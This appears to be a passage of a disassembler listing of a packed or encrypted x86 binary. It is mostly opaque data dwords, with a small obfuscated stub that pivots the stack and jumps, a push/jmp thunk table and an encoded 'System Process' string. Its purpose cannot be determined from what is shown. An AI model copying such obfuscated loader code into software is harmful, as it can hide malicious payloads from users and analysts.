		dd 0E30573B7h, 0D747EB2Bh, 3F68AD89h, 0F7240A24h, 38F416A6h
		dd 2D6352F8h, 72EF9265h, 0EA3E8D5Eh, 37EF9264h,	0F043921Bh
		dd 0E52E6899h, 6E0BCAE6h, 0A013C0AAh, 0EBCE11D4h, 56E63519h
		dd 0DC3282B7h, 0FBB1120h, 0E23FFCEDh, 0C1E9F49Fh, 0ECC2EEF9h
		dd 0B66E9D2Dh, 67B0425Eh, 0EAA69A68h, 0F6h, 0EA2BE30Eh
		dd 0B879B55Ah, 0EB2AE208h, 0BA7BB35Bh, 0EA2BE30Ah, 0CA216E97h
		dd 8963D312h, 0D03C8C4Dh, 8465D514h, 91C08948h,	0E172EE22h
		dd 981433E8h, 0B677AF5Eh, 67D4E506h, 0EF933631h, 0BD7C527Eh
		dd 71AD5EB1h, 0C0FE12A2h, 6479127Fh, 8E4E6044h,	0D96FAD24h
		dd 0C6FEE830h, 0A05CB006h, 3061A08Eh, 6FAF6780h, 6DA94CC5h
		dd 6B67D407h, 30E520FAh, 0C67EC41Ah, 87A98CDDh,	2118F147h
		dd 44193E92h, 81AF83F6h, 0CB09E252h, 0FC9BD6D1h, 62A28CAFh
		dd 0D2FC38D4h, 0F65EB201h, 8FA3F643h, 9475C506h, 0AF6FA744h
		dd 0F535F119h, 9F5F715Fh, 0C9B17F2Ah, 610D2DEDh, 0D213CB3Ch
		dd 3B08962h, 0FEBCBDCDh, 0D0103E12h, 8E4E8666h,	3A5F0B29h
		dd 97C615D1h, 905FC23Dh, 0BF8E700Eh, 0FEBD3469h, 0D0139AB6h
		dd 8F4F8760h, 0E63A89D8h, 2BFEBD34h, 3448E07h, 4E000000h
		dd 0B35E7200h, 0DC0DBB7Bh, 0BA56E020h, 9274C202h, 0BD2C9A5Ah
		dd 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h, 68DDD313h
		dd 117Ch, 68242C89h, 5861h, 53240489h, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0BF57242Ch, 7E524B09h, 0D105EFC1h, 0C78147E7h
		dd 53CD1443h, 4F52BA52h, 0F2812361h, 767371B5h,	815AD729h
		dd 0EE41D7EFh, 5FF889FFh, 2B9368h, 24248900h, 4240483h
		dd 4EC815Dh, 89000000h,	458F2404h, 2434FF08h, 4C4815Dh
		dd 8B000000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dw 0B8C0h
		dd 6B1C46Bh, 0E0FFC503h, 2BA15914h, 201BA4Fh, 75894E88h
		dd 0F36FE2Fh, 2B10CEA8h, 44674B7Ah, 474D8CEBh, 5CAF4953h
		dd 952D587h, 4581E58Bh,	49AE4EB4h, 2D9B77A2h, 2ADECF10h
		dd 2DA1234Ah, 534D61B6h, 13766DF6h, 1E91AAF1h, 1BD0B9D5h
		dd 2A14F36Bh, 1806EC76h, 3FFD954Eh, 4AE2B1D2h, 6244F09Fh
		dd 7BF3AF19h, 74EC8460h, 0A0CA1F8h, 7A0C6342h, 14AE11h
		dd 472EAE62h, 1FB7C63h,	3BB974F6h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 63DAEFC3h
		dd 422DC92Eh, 4309BDBAh, 85BD830Bh, 6AC1Eh, 0BD830975h
		dd 6AC0A29h, 50197400h,	0B8C08B53h, 3FCh, 8898589h, 9D8D06ACh
		dd 6AEA264h, 585BD3FFh,	0A29BD83h, 740006ACh, 0B8535017h
		dd 3FCh, 8898589h, 9D8D06ACh, 6AE9F53h,	585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 66C35343h, 0E8E576A0h
		dd 0Dh,	853DEB1h, 787D3620h, 80AB6807h,	13E816h, 0C59F0000h
		dd 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h,	7E90Dh
		dd 634C0000h, 876CA238h, 0E95A5BDAh, 5,	0EF1CF025h, 0D18B6662h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0E6CCBDC3h, 0F759B85h, 0BD83DBBFh, 6AC0161h
		dd 5E840F01h, 66000000h, 83BB87BAh, 0AC0021BDh,	850F0006h
		dd 4Dh,	88F28166h, 83B2B7C8h, 0AC0539BDh, 840F0006h, 7Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DEC35242h
		dd 44EFEEABh, 0E9C619EDh, 11h, 90DAEA4Ah, 9EA1EEC5h, 0E9BA49A4h
		dd 0BD7F6A66h, 364E9A0h, 0EE90000h, 54000000h, 0EDE525Dh
		dd 0CA3D8313h, 38156E4Fh, 94h, 5EC28000h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 0E7C35545h, 0FC9674C7h
		dd 6591B6F9h, 0C5846F0Dh, 6B4387BEh, 1D43EE50h,	4D1ACDB8h
		dd 630F64E1h, 87076CBCh, 0D143F9BCh, 2B12ACB8h,	0F9946662h
		dd 9502BD3Dh, 0CDBC15BEh, 6611EDD2h, 4743EDBBh,	0F980B798h
		dd 0D567B931h, 0EC67A939h, 7443EDA5h, 0C480BFFAh, 5D2E61B3h
		dd 0D8384669h, 4388041Ah, 1825EDB8h, 391631FEh,	0E843EDB8h
		dd 0FCAE6CE5h, 0D2455C7Fh, 1D43EDB4h, 0F1E898FCh, 0F104BA8Ch
		dd 9B913C11h, 8A9852B7h, 0E843FE50h, 42EA78B8h,	5E2BD7FCh
		dd 1FBF6B0h, 6D93BAAFh,	5F9D39EAh, 0A343E150h, 0B02E32B8h
		dd 0A53FC442h, 35B9A45Ch, 0EDF4E2ADh, 0DDC8B7E3h, 6614EDD2h
		dd 4743EDBBh, 0FC80B298h, 0D5679131h, 0EC67A939h, 7443EDACh
		dd 0DA80BAFFh, 0CFF88B28h, 0DC13BDFAh, 0CC25DCB7h, 331BB768h
		dd 9D42E24Dh, 0E829139Ch, 744005EEh, 6463EDB8h,	69CAB37Bh
		dd 0CAC2E99Ch, 475FE99Ch, 0F505EDB8h, 67661B7Bh, 152484C7h
		dd 9FC3E409h, 5C1B1578h, 6E003F39h, 8E41E1BDh, 17B56DB8h
		dd 0F70B57DEh, 0D129E533h, 0E84005EAh, 2E63EDB8h, 6ECAB77Bh
		dd 59C2E99Ch, 8E5EE99Ch, 1501EDB8h, 2080277Bh, 4D488355h
		dd 53B792D3h, 4D252041h, 72C88B4Dh, 18C1E244h, 3543EDB8h
		dd 30A21465h, 0A343EC00h, 0AC28BB8h, 6925AA45h,	0E58DE563h
		dd 3DCF1D02h, 7D11BDE4h, 8E43E650h, 886A92B8h, 0F11164BDh
		dd 8CB86F35h, 1BC88BE7h, 1ED2B7D9h, 39ABBEB8h, 3D43EDB8h
		dd 7182EE3h, 0C647C9E4h, 0BB47C9FCh, 9243EDB8h,	0BC872EEBh
		dd 128FB236h, 8D4C3434h, 19821B69h, 8EBD68B7h, 4729EDB8h
		dd 0A34005EFh, 8E63EDB8h, 94CAB27Bh, 30C2E99Ch,	3A55E99Ch
		dd 4A04EDB8h, 64C98A7Bh, 97C88BE1h, 0AC2BD438h,	0D142AB3Dh
		dd 0E84504B8h, 0F388EDB8h, 626EC2CBh, 96F50238h, 5DC9ECC1h
		dd 47431239h, 214C6DB8h, 0D143EC9Fh, 12EDD2h, 7443EDBBh
		dd 6380B498h, 1967A131h, 8A67A939h, 4743EDACh, 4080BCF9h
		dd 0D143E050h, 0E9AA42B8h, 0CC4E0E79h, 0E7DF28B6h, 96257DC3h
		dd 0B84B666h, 41F22B45h, 0A343EDB9h, 0D143EB51h, 0A20603B8h
		dd 0FEABD011h, 3A9F0465h, 0CDC8EDB8h, 8E433F51h, 164387B8h
		dd 0A343EE50h, 121ACDB8h, 0CC0F64E1h, 50076CBCh, 3A43F4BCh
		dd 0DE12ACB8h, 399A4EECh, 42ABBA57h, 43EDB8h, 0AB74E8BDh
		dd 0E843FF51h, 0A7E124B8h, 0CAB04105h, 41A69702h, 0BF52CEE2h
		dd 1DC4869Ch, 204C110Ah, 0D143EDACh, 0E843E251h, 0C9B0AAB8h
		dd 0A51A40B4h, 0A07770BEh, 1B52122Fh, 17896CE1h, 0C33EC433h
		dd 1FA20439h, 97F8E6A0h, 156D93DFh, 313A6EDEh, 49C7E247h
		dd 0E443EDB8h, 44ABBCB8h, 8343EDB8h, 581A2EE1h,	6947C9F4h
		dd 6C47C9FCh, 7B43EDB8h, 170A2EE9h, 5236255h, 0BAC62A60h
		dd 0A2455C7Eh, 0BB43EDB8h, 0EBABBFB8h, 5443EDB8h, 0B3192EE2h
		dd 9C47C9ECh, 9B47C9FCh, 543EDB8h, 93842EEAh, 0D1466BB7h
		dd 19F8EDB8h, 3C35E099h, 3EFA3433h, 904572E7h, 3F8F753Dh
		dd 2DFE60BEh, 98455C72h, 0E1449940h, 0AF8A3CB7h, 74291853h
		dd 3A4005EEh, 4363EDB8h, 0FACAB37Bh, 3C2E99Ch, 0A355E99Ch
		dd 8705EDB8h, 278FD97Bh, 9C935AB7h, 3A43EDB5h, 5BF88951h
		dd 0A6256A70h, 575F4E11h, 0F8605A9Ch, 6CC03533h, 0EEEFECD9h
		dd 2BC7E2B9h, 5043EDB8h, 1EABBDB8h, 0AE43EDB8h,	0CE1B2EE0h
		dd 2247C9FCh, 0C847C9FCh, 0A843EDB8h, 0E4EC2EE8h, 71159FB8h
		dd 0D2A16CDEh, 8ECEE237h, 4843EDB8h, 1EC03C0Fh,	0D7EFED99h
		dd 0CBC6E2B8h, 0F443EDB8h, 0C8C3677Bh, 24FE6E8Ch, 8E4541BDh
		dd 475469B7h, 0A8AAEDB8h, 8343EDB8h, 7417CF81h,	8EC820FAh
		dd 0CAA46E3h, 9643EDB9h, 0EFFE6E61h, 464541B9h,	0A3CA68B7h
		dd 0D129EDB8h, 0E84005EAh, 2E63EDB8h, 6ECAB77Bh, 59C2E99Ch
		dd 8E5EE99Ch, 1501EDB8h, 0B406A07Bh, 4A6A7E7Eh,	0C85261h
		dd 7443EDAAh, 6BDA0112h, 11964548h, 4F744F7Dh, 4BCD441h
		dd 7DC3E3C9h, 0BB1EB748h, 0EBABBFB8h, 5443EDB8h, 0B3192EE2h
		dd 9C47C9ECh, 9547C9FCh, 543EDB8h, 14172EEAh, 5489BEB8h
		dd 0E3AB260Fh, 0F543EDB8h, 129B761Ah, 8DD77883h, 4DC34787h
		dd 4880B70Bh, 0A343E83Eh, 22C28BB8h, 76AAF354h,	2943EDB8h
		dd 0D214EDD2h, 1D43EDBBh, 0D180B298h, 43679131h, 0A767A939h
		dd 0D143EDA1h, 1480BAFFh, 77F64048h, 3A4D0436h,	0B4EEDB8h
		dd 0B85DAC2Dh, 8C8CDEBh, 0A1C04F21h, 0C5AA8DD8h, 2243EDB8h
		dd 5AF1EEC1h, 0BED541B2h, 0C8E57885h, 41297BC2h, 111D3D84h
		dd 4B228CE6h, 0D143EDACh, 0B25BFA3Fh, 7BB323CFh, 8D6E31A4h
		dd 6519065Bh, 25AA6412h, 88191032h, 4B14EDD2h, 0D143EDBBh
		dd 0B780B298h, 70679131h, 3E67A939h, 1D43EDA3h,	0BD80BAFFh
		dd 1F010446h, 0AC7B488Eh, 0D143E939h, 10F98BB8h, 53FE60D2h
		dd 0B7455C7Fh, 0AC8F8835h, 0D25E55BEh, 0C2709682h, 0A5EFF151h
		dd 0FA822293h, 4572E73Eh, 8F753D90h, 0FE60BE3Fh, 455C722Dh
		dd 44994098h, 8A3CB7E1h, 5E983AFh, 0BD83A4F3h, 6B1C6FDh
		dd 8D0D7400h, 0AC4E338Dh, 1B806h, 0E1FF0000h, 6AEEB340h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 83AEC352h, 6A2DE8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 4E8B91C3h, 1F1FBFCDh
		dd 11E8BFh, 6FF60000h, 48294E6Fh, 0B11364C1h, 63666047h
		dd 0E8C4405Ah, 13h
		dd 0F630B205h, 0CEB098BBh, 6185249Bh, 0BFD1EC22h, 80EB15F3h
		dd 5A5BC3C3h, 0C08BDA8Bh, 83D0B70Fh, 0AC1E85BDh, 9750006h
		dd 0A29BD83h, 740006ACh, 8B535019h, 3FCB8C0h, 85890000h
		dd 6AC0C01h, 0A2CB9D8Dh, 0D3FF06AEh, 0BD83585Bh, 6AC0A29h
		dd 50177400h, 3FCB853h,	85890000h, 6AC0C01h, 9F6C9D8Dh
		dd 0D3FF06AEh, 8160585Bh, 0A5D209F0h, 0C9816679h, 6A6190C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1852C356h, 5D5FE58Fh, 403FC6FBh, 19D38157h
		dd 5B52FF70h, 74E9C08Bh, 33000001h, 10572306h, 0E487606Fh
		dd 8B4F9C4Bh, 2608415Fh, 76514A51h, 0D4084951h,	3C51425Fh
		dd 5F386976h, 0E4513B23h, 1AD3C077h, 0A79FC4C3h, 9A507CB1h
		dd 28510D13h, 1, 4000000h, 2 dup(0)
		dd 2F000000h, 0
		dd 8000000h, 0
		dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
		dd 42h dup(0)
		dd 0E9000000h, 1589h, 0B1D0E368h, 75B3E906h, 0E668FFFBh
		dd 0E906B1D1h, 0FFFB75A9h, 0B1D2B868h, 759FE906h, 8968FFFBh
		dd 0E906B1D3h, 0FFFB7595h, 0B1D4ED68h, 758BE906h, 3C68FFFBh
		dd 0E906B1D6h, 0FFFB7581h, 0B1D71268h, 7577E906h, 0D368FFFBh
		dd 0E906B1D7h, 0FFFB756Dh, 0B1DA2768h, 7563E906h, 0E968FFFBh
		dd 0E906B1DAh, 0FFFB7559h, 0B1DBBC68h, 754FE906h, 5468FFFBh
		dd 0E906B1DCh, 0FFFB7545h, 0B1DDB968h, 753BE906h, 5F68FFFBh
		dd 0E906B1E2h, 0FFFB7531h, 0B1E35E68h, 7527E906h, 2176FFFBh
		dd 0DF89A360h, 1E4B61A2h, 0D684AE6Dh, 124268ABh, 0CAA9AC6Fh
		dd 0E92A5707h, 28EB90C3h, 0E82B5602h, 2DEE93C2h, 21FF5A99h
		dd 0EE6A0E6Fh, 95C46317h, 85D47CE8h, 0A069B712h, 0CA6635Ch
		dd 91B82C59h, 0A5291BAh, 10EE4B6Fh, 0FF635CA0h,	9B3EFFD4h
		dd 68F09A04h, 0C1EB2A01h, 48DAE895h, 8BE8D6Fh, 0F790C56Ah
		dd 609ACB63h, 0F1654E33h, 0E4700D59h, 33AE49CDh, 1FC2A77Ch
		dd 2AB87D63h, 3F7407h, 0B6820000h, 79DC1DD3h, 68F0A58Ah
		dd 0C15FFA3Bh, 4E6A08A9h, 0E99ACF65h, 0BF9556C2h, 0C54613EFh
		dd 61537851h, 8A9B842h,	5FC996Ah, 2AC96B4Dh, 0F4A58F07h
		dd 0B7ABB98Bh, 68000000h, 5C6E1342h, 0E895C4AEh, 0F984D47Ch
		dd 0EB94C56Dh, 8586D77Fh, 0A35EE346h, 0CD9C635Ch, 85973B0h
		dd 0E2C5B677h, 5D4C50Ch, 0BD67F5C7h, 9ECAE0D8h,	7938C6E3h
		dd 3E68635Dh, 8E7D5643h, 0E5EBD10Ch, 20E1CA7Dh,	0F160FE85h
		dd 0E7240F68h, 0C395DABFh, 9AC6D46h, 6F9ABF97h,	6C1D4E64h
		dd 0A7664D5Eh, 63A0DD8Dh, 0AE641949h, 736F0A0Fh, 19338214h
		dd 27000013h, 0FAD01370h, 341EDDACh, 0CDE72461h, 0B21E29Fh
		dd 0E0E5265Bh, 631E4E83h, 0A0D98AA0h, 601D4963h, 0A7D889A3h
		dd 0B613D064h, 6A0E7068h, 0C42A5EA7h, 6B2AE994h, 0A0718F2Ah
		dd 0B59E635Ch, 17A2B87h, 0D3B6B6C2h, 0E864C99Ch, 22E61BA6h
		dd 1AB2260Dh, 8BA2364Bh, 0EF4A8BA0h, 68F186F4h,	0E2E822D1h
		dd 1212259Fh, 0E5169CF9h, 3281FB7h, 736AB097h, 2A6B6A09h
		dd 7330CE6Bh, 35606A09h, 44765D48h, 24043CA7h, 13072A00h
		dd 0BCh, 3BA8FAD0h, 97F809Eh, 8FA48F6Ah, 7F15EB4Eh, 0D9F26A09h
		dd 95C419EBh, 0D5413A69h, 0EB43D7FCh, 9152C6BBh, 490E9BBh
		dd 233C1F2Dh, 0D9635CA3h, 1E34F788h, 7CA6324Fh,	0AF0ACB19h
		dd 68F0ACD4h, 81D91A31h, 0C5EF2EE4h, 4960F491h,	0D019BC7Bh
		dd 656F9A26h, 4D7F8124h, 623770B7h, 2D1F3421h, 0FED4153Eh
		dd 3A10D3AEh, 76DD176Ah, 2D736EC3h, 12160ABBh, 75220000h
		dd 0ABFDD714h, 62371DDEh, 9AC8E221h, 5E0E24E7h,	86E5E023h
		dd 0AD6E1343h, 74B7D487h, 0BC7F0A5Eh, 79BAC796h, 55AB0ECDh
		dd 0B26A0E71h, 94C43F4Bh, 51002AE9h, 0EFAEEF2Ch, 0D3F693C5h
		dd 635CA04Dh, 51A391BAh, 7CE895C4h, 3BF885D4h, 809E3B7Ah
		dd 8F635CA0h, 6F3A96A4h, 7F2E8612h, 0BAE9C302h,	339655C1h
		dd 635C9FEDh, 0E91A311Ah, 4579DE3Eh, 599CAEA6h,	0AB810006h
		dd 73268CFDh, 9FFA2416h, 0DE359051h, 0EF68F156h, 62B912C4h
		dd 6EBE7F8Ch, 0A104C50Bh, 6727C24Ah, 1EC4507Bh,	5E74B57Bh
		dd 84D77D0Ch, 0D772B587h, 6DD0CA2Ch, 3273B299h,	0AF6F5C41h
		dd 1046E458h, 0E7CCE571h, 572879D5h, 92EFBE94h,	0A657CD58h
		dd 0B1009675h, 1144h, 9D5E2B7Ch, 63A0E1B7h, 0A0631C49h
		dd 62A1D88Ah, 0A6651848h, 5D0DC0A3h, 9AC9E320h,	5C0822E1h
		dd 99C8E221h, 509327E4h, 0E722BF5h, 691DE46Ah, 3F6995C4h
		dd 0D4FFD642h, 0B0FF9A40h, 20099DE0h, 0B86FCA0Bh, 9568F07Dh
		dd 6577DBEh, 0BBEEC405h, 41735ACEh, 0A66C09D3h,	0B79C267h
		dd 0AFDC6F97h, 0D6821FF5h, 0FC02A7F6h, 0B70BA49h, 0F5A10B20h
		dd 82A9BA88h, 47386943h, 82FFAE84h, 5BA9CC16h, 3F9ADB9Ah
		dd 70BA49E1h, 0ABD6842Eh, 0F3D163Fh, 48942F2Ch,	78B99276h
		dd 0BD7E0352h, 0D145C697h, 136E3812h, 8C9AFF21h, 6D4E1365h
		dd 78B9928Fh, 556A4A39h, 0AFE5B541h, 351C88F9h,	900F2C1Eh
		dd 0BD7CFFC1h, 2CC35C96h, 0E98648Fh, 1073BFh, 691A4D00h
		dd 0ABD680AAh, 6A174268h, 0A8D183A9h, 6C11416Bh, 4C9AAAFh
		dd 0C0EA2954h, 72DEE93h, 0DFF53653h, 8A3EFD8Eh,	7312EC49h
		dd 4FD6A0Eh, 0D585AF70h, 66369AA8h, 0E580D81Bh,	499DEE2Fh
		dd 7A0753DFh, 5A34C7EEh, 4087B5A3h, 0F1823EE5h,	0B0240F68h
		dd 0F7344918h, 27728CDDh, 0CCE7CE5Ah, 29E78258h, 99F24DE8h
		dd 0B8936F9Dh, 6281E62Ch, 4380FDACh, 71B07E1Bh,	49B86DD4h
		dd 67F3D876h, 79ED9ECFh, 68FC81D1h, 7CE895C0h, 550AF99Eh
		dd 67CB36D1h, 4C0DCC02h, 0DA56A80Dh, 1BB17761h,	291B3049h
		dd 0F5D5170Ah, 0B9C5367Ch, 58758A11h, 5872B19Ah, 0E5A6F509h
		dd 9F7D5ACEh, 9C7E0DA4h, 95BF0AF9h, 0F9D044C1h,	553667CBh
		dd 93EEBE94h, 1F4E64A1h, 492CF662h, 0C89F3AFBh,	0C583A1C5h
		dd 0D1722DEEh, 0CC482350h, 0E4F9177Fh, 266D08D6h, 0E0210A77h
		dd 30639FCAh, 9552604Bh, 48273330h, 5FA5568Ah, 0D7C568E6h
		dd 594742F6h, 5F80F0AAh, 0D686A274h, 641AE441h,	0DEF58B6Ch
		dd 0FBB7382Dh, 0F244ADFh, 0AE5EBC9Bh, 1648B6Bh,	304302C3h
		dd 6EA81C9Fh, 0C0E3D1A2h, 90FA51A3h, 0A2DF8C26h, 0F5341F36h
		dd 68258EDFh, 0CAB21B32h, 83A96A41h, 37E28D2h, 4414BC28h
		dd 0E77AF339h, 0BF2950F5h, 0F0F0Eh, 0D7E2900h, 0D7B2E4CEh
		dd 1E6B3E14h, 0E4A5F7DDh, 205D0D27h, 4085E6E3h,	84AE6D10h
		dd 4369AAD7h, 83A96A17h, 0DE6AA9D2h, 7466B81Dh,	58A16A0Eh
		dd 0E994C42Ch, 29500228h, 45DB7EBDh, 0C2635CA0h, 35F0C2E9h
		dd 7F0A5E74h, 17B0E14Dh, 83323855h, 2FBB90CDh, 21B5D687h
		dd 863CA7C2h, 27F2BD7h,	5E42EA29h, 550DD64Ah, 17Dh, 0E895C4A3h
		dd 7985D47Ch, 0FA87D32Fh, 476C476Eh, 0BEEFC584h, 0A07C8227h
		dd 0A08B635Ch, 267B98Bh, 0D4C0DCCh, 30157627h, 635C9FEEh
		dd 9E8BF6A6h, 4FD174B5h, 0B8635CA0h, 0FB82A193h, 0A68F099h
		dd 8892B521h, 496A08BFh, 0FBFDB52Ch, 0EA072AB7h, 3Fh, 1DD3B61Ch
		dd 0A58A79DCh, 0C83B68F0h, 1656EA65h, 93787DEBh, 57C3B043h
		dd 0D4FF88DDh, 0AE4C6BFFh, 976A0932h, 4D530FF2h, 91072A40h
		dd 0B5C176E2h, 230ACDFh, 0A810h, 0ADF9D300h, 0C410E2D0h
		dd 0D47CE895h, 0C56DF984h, 0D77FEB94h, 0E3468586h, 635CA35Eh
		dd 0C468CD9Ch, 8FFAAE6Ah, 88C1321Bh, 0D3103BD5h, 6FCAEE8Bh
		dd 635CB091h, 0BF7E557Eh, 0EE294F1Ah, 0D4153E68h, 452AEFEh
		dd 93B89105h, 572A7A50h, 9ADF6E9Dh, 9223B578h, 0DC0h, 11D2AFF8h
		dd 0DF1C6D3Bh, 24E7A0F5h, 0EE2D5C0Eh, 2AE994C4h, 0A9F94C2Fh
		dd 6E3D17D4h, 0A0F4DE1Dh, 5D0C26E5h, 9457E320h,	0E75EF31h
		dd 95E1186Ah, 0B54BEEAFh, 52635C9Fh, 0B7E74B79h, 722309CAh
		dd 0B6E2C809h, 85765FCBh, 7AC353E0h, 9E5B6933h,	3095C4EAh
		dd 7B64895h, 0E8BE1411h, 73B299h, 0F37B4BB0h, 60F2C0CEh
		dd 0A6DB89A3h, 10225F0Ch, 1D48EDBCh, 6D9D5E9Dh,	0E0CA0922h
		dd 8258CCB1h, 4DE829E7h, 68F0B7FAh, 11EF4A8Bh, 0FE6A08FBh
		dd 0E3DFED5h, 799h, 0D085AFFAh,	792985B7h, 65B79004h, 6F635CA0h
		dd 7411450Ah, 23E2C9E0h, 0EAEAE586h, 0ECFE468h,	0C9087524h
		dd 5FCBB0E3h, 0AB814476h, 0BD1581FAh, 0A75A90EDh, 7C7885A0h
		dd 0CEA5BEAh, 81D60000h
		dd 3F694380h, 0FEAB8142h, 36644E8Dh, 0F2A2884Bh, 2A494C8Fh
		dd 9CAB7E7h, 0C80B7023h, 8CBB6E2h, 0CD0E7322h, 11FBA79h
		dd 0E6A0E77h, 94C483F7h, 51002AE9h, 4110B82Ch, 2E4BA83Ch
		dd 6C3C16B3h, 0DE8F2311h, 52F6EADh, 37192B54h, 0DD6D331h
		dd 2420h, 85AFD600h, 491FB5D6h,	0B785AC38h, 5CA5B994h
		dd 0DA19AA63h, 0D8FFFFFDh, 9BE0B399h, 5CAB60BEh, 0B684AF63h
		dd 9FB14B44h, 0CB8A635Ch, 5C9F906Eh, 66547F63h,	0D617DDB8h
		dd 47D3AEFCh, 0E895C46Eh, 0A067557Ch, 0EAEA7005h, 0AAFB5168h
		dd 0C66C45D1h, 1C0EB96h, 0C2017A2Bh, 50C4B9E8h,	1FD5A8F8h
		dd 7885A0F8h, 2908B92Fh, 1700000Ch, 2A00C340h, 0E4CE0D7Ch
		dd 3D17D4B1h, 0FBD1126Fh, 1015D6ABh, 93EEBE73h,	50297A50h
		dd 90EDB993h, 57287953h, 46E32094h, 6A0E76B8h, 0C4DAAE57h
		dd 329E895h, 4DBC2851h,	0E9D8559Fh, 7BD1FA88h, 0EEC75328h
		dd 0A78D4EDCh, 290094F5h, 0A5E6B71Bh, 4CB7D231h, 79BAC796h
		dd 0D606CFD1h, 16C60Dh,	76050000h, 0EC74CB5Fh, 3FCDFF04h
		dd 5CA4E44Bh, 0EEC5F63h, 18FFFFFDh, 0A8D585AFh,	0C45AFF3Ch
		dd 43635C9Fh, 0BFE94368h, 4D7F56C2h, 0F938F693h, 0F09E5D5Ch
		dd 57C3E868h, 8A0A970h,	0FD8EDB6Ah, 0E992C169h,	31D0B77Dh
		dd 15CCA972h, 2AD65B5Dh, 1F44A07h, 4BBC0000h, 635C9FA1h
		dd 0FAAB0110h, 39684281h, 0C3E895C5h, 9F527057h, 1342635Ch
		dd 152FA6Eh, 378374A0h,	0D4FFB360h, 0C221C640h,	0BF22458Dh
		dd 0EC2F5001h, 0B6D387ADh, 0F0305A84h, 4BD57031h, 0C4635D1Fh
		dd 0E74FDDEFh, 5514D5B6h, 5D1F2EF0h, 33F2D963h,	5D1F8896h
		dd 9EAC8763h, 5F20715Bh, 0A47ADF9Eh, 63635D1Eh,	0D5B4E248h
		dd 785275E7h, 19635D1Eh, 0EBCD857Ch, 0DA0DD657h, 176h
		dd 0E895C42Ch, 0F885D47Ch, 0C4A39h, 0E422FC59h,	0C6ED635Ch
		dd 2058CF35h, 35A1D88Ah, 0B3EB2E1Ch, 7CD918D6h,	68F0B421h
		dd 2C06C7ECh, 0AC3E0C79h, 8D9718Bh, 3B11506Ah, 45C6936Fh
		dd 0E1D3FA6Eh, 0BDA3DF02h, 0B4072A9Dh, 6Bh, 6F080477h
		dd 8DD04EFBh, 25D64225h, 339930A6h, 0A48D1962h,	0D3B66496h
		dd 389DDC1Dh, 635C9FE6h, 0F5A00A21h, 7351C88h, 0A57E65C0h
		dd 0B19B68F0h, 0FF0E9AE7h, 2D8B074Ch, 0CBF9D2BFh, 582172D8h
		dd 3AC0E773h, 6A6A091Ch, 7FD7433Eh, 2BC95D2Eh, 5DE954Ch
		dd 0DFC18160h, 0D6072A56h, 0ACh, 2FF15415h, 0D86A0910h
		dd 0C433C1F3h, 329E895h, 95BC2851h, 0CD9D35A7h,	0DD8C24B0h
		dd 9B0F7021h, 0A50D99B2h, 0ED488BF4h, 635C97DCh, 0FF3E4312h
		dd 0C9FB84D5h, 1931540Ch, 8F1B6033h, 0B87D83A6h, 0A18A635Ch
		dd 5BEE4B8Ah, 2A68EE30h, 82A9D480h, 44396943h, 1FDAD87h
		dd 8DFEAB57h, 8F1B3019h, 235E0CA6h, 7FB59EB7h, 789AD6AEh
		dd 0D552E375h, 0E3000009h, 3E14D7B4h, 0F0DA1968h, 311BD8A5h
		dd 0F7DD1E63h, 1C19DAA7h, 87FAAA7Fh, 4C3D6E44h,	94F1A58Fh
		dd 532C7D57h, 42E72490h, 6A0E79BCh, 0C4C6B24Bh,	2AE994h
		dd 9BEF2C51h, 0A70295C4h, 635CA059h, 4CD277B6h,	0BB635CA0h
		dd 490BB90h, 4380FDACh,	3F070h,	85AF8400h, 821B5D6h, 1981E33Ah
		dd 3677B67Ch, 0A5314C1Ch, 0B7235C0Dh, 0A487B59Eh, 68EAEAA6h
		dd 4A1CCAE1h, 8520E12Fh, 6FA26D5Eh, 13D0446Fh, 0C1956939h
		dd 0D2F9D044h, 7039C3E0h, 7D1870BAh, 6E6CA86h, 65DD0079h
		dd 2B000003h, 5C9FB14Bh, 9F956E63h, 0DCB9635Ch,	0AB72D716h
		dd 5A68F08Ch, 7D60BB71h, 29BF7898h, 91398h, 97A2D00h, 0CBB6E0CAh
		dd 0A772208h, 0C8B1E3C9h, 0C71210Bh, 64A9CACFh,	0A08A4934h
		dd 674D8EF3h, 0BF955633h, 0EA5E9DEEh, 7A728C29h, 649D6A0Eh
		dd 0E895C410h, 0DC3A67Ch, 0ECADBFCCh, 0F636096Ah, 314203C4h
		dd 0DF02BC49h, 65467424h, 68EBD0E4h, 1D4E64A5h,	0F4D1F86Ch
		dd 6A0F542Ah, 6F1C4FE5h, 0D2F9D2FBh, 672C4911h,	0BC7D5633h
		dd 0BDAF76CFh, 10228ED9h, 2BF972D7h, 0A3886F9Dh, 661B4862h
		dd 0ADE200A5h, 4A3970C0h, 6C5D521Eh, 934D7F6Dh,	0D0FA39F7h
		dd 0C26AFE83h, 0A07AEE93h, 7304D7C5h, 0B6FE9843h, 0A78CA7E2h
		dd 611C4C66h, 29EEDCF5h, 54A8C18Ch, 0FC591876h,	776D0A22h
		dd 0FC35C6EDh, 25909706h, 0A58E9DAFh, 248FAA6Fh, 56E7716Ah
		dd 840h, 91522F78h, 5F9CEDBBh, 0A4672075h, 6EADDC8Eh, 0AA691444h
		dd 2979CCAFh, 0EEBD9754h, 20745E9Dh, 0DD8CA665h, 14D763A0h
		dd 0E7B6FB1h, 1561986Ah, 0DC1DD3B6h, 0EAE9F479h, 7FBE9568h
		dd 0C6050655h, 56C2BFECh, 5ED7E695h, 0B32DA81Ch, 0F43A5F81h
